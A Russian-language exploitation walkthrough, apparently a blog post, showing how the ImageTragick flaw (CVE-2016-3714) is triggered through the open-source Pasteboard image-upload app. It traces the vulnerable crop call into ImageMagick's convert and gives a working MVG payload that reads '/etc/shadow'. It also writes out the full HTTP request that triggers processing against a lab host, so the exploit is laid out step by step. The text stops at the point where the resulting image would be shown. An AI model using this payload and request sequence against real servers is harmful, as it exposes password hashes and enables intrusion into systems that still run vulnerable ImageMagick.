Эксплуатация ImageTragick через Pasteboard
ImageTragick (CVE-2016–3714) способствовал взлому многих серверов. Особым качеством эксплуатации этой цвешки является простота. Достаточно загрузить специально сформированный файл, который должен пройти обработку через ImageMagick. Детальное описание уязвимости можно прочитать на сайте ресерчеров.
Pasteboard – веб приложение с открытым исходным кодом (написано на CoffeScript) для быстрого создания скриншотов и загрузки картинок. Исходный код доступен на github.
Для обработки изображений используется модуль EasyImage (https://github.com/hacksparrow/node-easyimage). В файле controllers/main.coffee проиходит импорт easyimage и вызов функции crop:
require("easyimage").crop( src: sourcePath dst: cropPath cropwidth: fields["crop[width]"] cropheight: fields["crop[height]"] x: fields["crop[x]"] y: fields["crop[y]"] gravity: "NorthWest" , -> fs.unlink sourcePath, (-> ) sourcePath = cropPath callback null )
Рассмотрим реализацию функции crop:
// crop an image exports.crop = function(options) { ... ... child = exec('convert', args, function(err, stdout, stderr) { if (err) deferred.reject(err); deferred.resolve(info(options.dst)); }); ...
Отчётливо виден вызов утилиты convert, входящей в состав ImageMagick. Одним из аргументов является путь к локальному файлу, который поступает от нас.
Устройство приложения
После вставки или перетаскивания файла на страницу приложения автоматически отправляется запрос через websocket протокол на получение уникального идентификатора.
Получив ответ начинается загрузка файла. POST запрос уходит на URI /preupload. Полем формы с именем “id” служит полученный ранее идентификатор, а полем “file” передаваемый файл.
После выделения участка на изображении и нажатии на кнопку “Crop & Upload” выполняется POST запрос по пути /upload.
Параметрами передается уникальный идентификатор из предыдущего запроса и опции для изменения размера.
Эксплуатация
В приложении отсутствует проверка на содержимое отправляемого файла. Проверим работоспособность ImageTragick на заведомо уязвимом сервере. Для работы с запросами будем использовать BurpSuite.
Переходим на страницу с приложением и вставляем произвольное изображение. Перехватываем запрос и подменяем содержимое файла на один из предпочтительные пэйлоадов. Рассмотрим вариант с чтением произвольного файла.
push graphic-context viewbox 0 0 1920 1080 image over 0,0 0,0 'label:@/etc/shadow' pop graphic-context
В ответе видим сообщение об успешной загрузке файла “Received file”.
Файл на сервере. Пора по ударить по нему ImageMagick’ом.
Для этого отправляем финальный запрос на /upload. Передаём параметр id в качестве идентификатора из предыдущего запроса, cropImage равным true для вызова метода crop из EasyImage, остальные параметры отвечают за размер и область изображения.
POST /upload HTTP/1.1
Host: 192.168.182.128:4000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.182.128:4000/
Content-Length: 125
Connection: close
id=663a7181-2f1c-42b5-9fe5-288cf13931d1&cropImage=true&crop%5Bx%5D=0&crop%5By%5D=0&crop%5Bwidth%5D=1920&crop%5Bheight%5D=1280
После выполнения запроса получаем URL к созданному изображению.
Если ImageTragick имеет место быть, то на изображении будет примерно следующее: